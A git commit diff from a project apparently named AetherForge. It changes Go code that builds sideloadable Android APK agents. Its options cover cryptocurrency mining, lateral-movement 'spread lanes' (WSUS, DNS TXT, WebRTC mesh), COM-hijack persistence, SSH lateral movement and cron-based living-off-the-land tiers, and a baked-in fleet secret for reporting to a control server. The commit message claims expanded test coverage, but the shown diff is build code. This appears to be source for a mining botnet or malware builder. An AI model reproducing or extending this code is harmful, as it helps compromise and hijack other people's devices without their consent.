Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -22,7 +22,25 @@ import (
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
// writes — none of which are available inside the Android process sandbox.
// Restricting to vuln_recon prevents silent runtime failures and avoids
// pointless battery drain from techniques that will never succeed.
var apkSafeLotlTiers = []string{"vuln_recon"}
// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
func ApplyApkScoutPreset(req *BuildRequest) {
ApplyApkBuildPreset(req)
req.ScoutMode = true
req.MiningDisabled = true
req.LotlOnionEnabled = false
req.LotlPolicyFromServer = true
req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
if strings.TrimSpace(req.Wallet) == "" {
req.Wallet = "android-scout-no-pool"
}
}
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
func ApplyApkBuildPreset(req *BuildRequest) {
@@ -53,6 +71,7 @@ func ApplyApkBuildPreset(req *BuildRequest) {
req.DnsTxtSpread = false
req.WebRTCMeshSpread = false
req.WSUSCachePeerSpread = false
req.WSUSFormatMimic = false
req.COMHijackPersist = false
req.RemoteAggressive = false
req.LinuxLOTLMode = "off"
@@ -75,22 +94,41 @@ func (h *Handler) apkAssetsDir() string {
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
}
type apkAssetConfig struct {
ServerURL string `json:"server_url"`
WorkerName string `json:"worker_name"`
// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
type apkMiningConfig struct {
Enabled bool `json:"enabled"`
}
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
// apkAssetConfig is the full config.json written into the APK assets.
// Every field here is consumed by AgentConfig.kt — adding a field here
// without a corresponding read in Kotlin is a no-op, but omitting a field
// that Kotlin reads causes the app to fall back to its hardcoded defaults
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
type apkAssetConfig struct {
ServerURL string `json:"server_url"`
WorkerName string `json:"worker_name"`
WorkerNumber string `json:"worker_number"`
FleetSecret string `json:"fleet_secret,omitempty"`
Mining apkMiningConfig `json:"mining"`
BuildID string `json:"build_id"`
}
func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
assetsDir := h.apkAssetsDir()
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return fmt.Errorf("create apk assets dir: %w", err)
}
cfg := apkAssetConfig{
ServerURL: strings.TrimSpace(req.ServerURL),
WorkerName: strings.TrimSpace(req.ApkAgentName),
workerName := strings.TrimSpace(req.ApkAgentName)
if workerName == "" {
workerName = strings.TrimSpace(req.WorkerName)
}
if cfg.WorkerName == "" {
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
cfg := apkAssetConfig{
ServerURL: strings.TrimSpace(req.ServerURL),
WorkerName: workerName,
WorkerNumber: workerName,
FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
Mining: apkMiningConfig{Enabled: !req.MiningDisabled},
BuildID: buildID,
}
raw, err := json.MarshalIndent(cfg, "", " ")
if err != nil {
@@ -119,34 +157,46 @@ func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir stri
}
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
}
apk := filepath.Join(buildDir, "agent-app-release.apk")
if fileExists(apk) {
return apk, nil
// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
// to the release name for scripts that override the output filename.
for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
apk := filepath.Join(buildDir, name)
if fileExists(apk) {
return apk, nil
}
}
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
}
// Use assembleDebug, not assembleRelease.
// assembleRelease requires a signingConfig keystore — without one Gradle
// produces an unsigned APK that Android 8+ refuses to install via adb.
// assembleDebug signs automatically with the Gradle debug keystore, which
// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
gradlew := filepath.Join(androidDir, "gradlew")
if runtime.GOOS == "windows" {
gradlew = filepath.Join(androidDir, "gradlew.bat")
}
if fileExists(gradlew) {
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
cmd.Dir = androidDir
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return "", fmt.Errorf("apk build cancelled")
}
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
}
candidates := []string{
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
// legacy names kept for backward compat with older AGP versions
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
}
for _, c := range candidates {
if fileExists(c) {
dest := filepath.Join(buildDir, "agent-app-release.apk")
dest := filepath.Join(buildDir, "agent-app-debug.apk")
if err := copyFile(c, dest); err != nil {
return "", err
}
@@ -181,7 +231,11 @@ func apkFileName(req *BuildRequest) string {
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
ApplyApkBuildPreset(req)
if req.ScoutMode {
ApplyApkScoutPreset(req)
} else {
ApplyApkBuildPreset(req)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
@@ -206,12 +260,20 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if ctx.Err() != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Writing Android config", 55)
if err := h.writeApkConfigJSON(req); err != nil {
if err := h.writeApkConfigJSON(req, buildID); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
}
if ctx.Err() != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
cleanupBuild()